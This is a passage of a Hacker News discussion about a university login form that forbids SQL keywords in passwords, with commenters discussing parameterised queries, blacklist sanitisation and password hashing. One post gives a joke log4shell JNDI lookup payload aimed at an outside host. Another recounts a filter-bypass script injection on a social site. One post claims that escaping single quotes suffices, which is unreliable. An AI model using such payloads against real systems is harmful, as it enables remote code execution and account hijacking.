Live data from Hacker News

Password may not contain: select, insert, update, delete, drop

id.uni-lj.si

51–60 of 254 posts

Re: Password may not contain: select, insert, update, delete, drop

#51

For people wondering how to do this properly it's called parametrized queries.

You mean storing plain text passwords in a database is safe?

you could still hope it's a WAF issue or they're hashing passwords through the database query, though both unlikely

Re: Password may not contain: select, insert, update, delete, drop

#52

All five words are also common English words found in any major dictionary. If you're not actually doing anything stupid with the passwords, all you have to do is use that same diagnostic for that situation: "password may not contain dictionary words". Then you don't have a diagnostic which raises red flags. That the developer is not aware that their diagnostic raises a red flag itself raises a red flag. It doesn't o…

That's not a reasonable requirement at all. A common recommendation nowadays is to have passphrases..

Re: Password may not contain: select, insert, update, delete, drop

#54
post #44
post #39

Phew. They’ll never catch me. My password is ${jndi:ldap://hunter2.com/totallylegit}

Nope - that's not a valid ldap URL - or even a valid domain, for that matter. Domains can only contain the ascii leters a-z and the digits 0-9 -- asterisks are not permitted; the only symbol permitted is a hyphen (and it cannot start or end with one).

It's a log4shell reference

Re: Password may not contain: select, insert, update, delete, drop

#56
Can not contain "script".

I hacked a big social platform in my early teens (Nettby.no), since they just did a removal of all banned words, including . I instead wrote ipt> in my profile bio, and after their removal I had a valid html tag injected into the webpage and full control of anyone visiting my page..

Re: Password may not contain: select, insert, update, delete, drop

#57
post #17

Earlier quoted context omitted.

Actually they do sanitization by blacklisting "Blacklist sanitizing cleans the input by removing unwelcomed characters such as line breaks, extra white spaces, tabs, &, and tags." But still this is not a way, input sanitization is bullshit. Using query parameters, thus inserting raw input into already built abstract syntax tree of SQL query is the correct solution since SQL injection is about affecting tree compositi…

You don't even have to do that, just escape single quotes and you've defeated everything but homomorphic attacks as far as I can tell.

That’s a comment that makes me think someone read a blog 15 years ago, and never kept up with modern ways of doing things.

Re: Password may not contain: select, insert, update, delete, drop

#58
post #38

The funniest part of this is that they don't even check for all of the banned strings. Source: I'm a student there and tried it out of curiosity.

They'll probably use the disclamer as an excuse to blame you if something breaks.

"... killed, or worse, expelled!" (https://www.quotes.net/mquote/41411)

Seriously though, I doubt there would be any consequences even if some BOFH tried to blame you

Re: Password may not contain: select, insert, update, delete, drop

#59
post #7

Earlier quoted context omitted.

> Also not storing hashes of passwords, because then it wouldn't matter what the input is. That only tells you they don't hash the passwords in the client. Likely the protection ("protection") is for the input validation layer, not the password backend itself.

Is it a slow sunday for me or... If you hash the password on the client and send the hash then hash is the password. And if you then have, for example, a DB leak with username and hashes, you don't need the password anyway because you can just send the hash and log in? (but then it's sunday and I need more coffee so I may be wrong)

That is correct.

The client sends the encrypted (via HTTPS) but not hashed password to the server, both for changing your password and checking your password. So the server receives the password in plaintext but shouldn't store it.

Whatever the client sends to the server, an attacker can send too.

Re: Password may not contain: select, insert, update, delete, drop

#60
the only place situation where such rules can matter is if you already _massively_ messed up security

(most fundamental rule of handling passwords is to never store them anywhere, never log them either, b etc. they should go straight to the hashing function and no where else)

Post reply on HN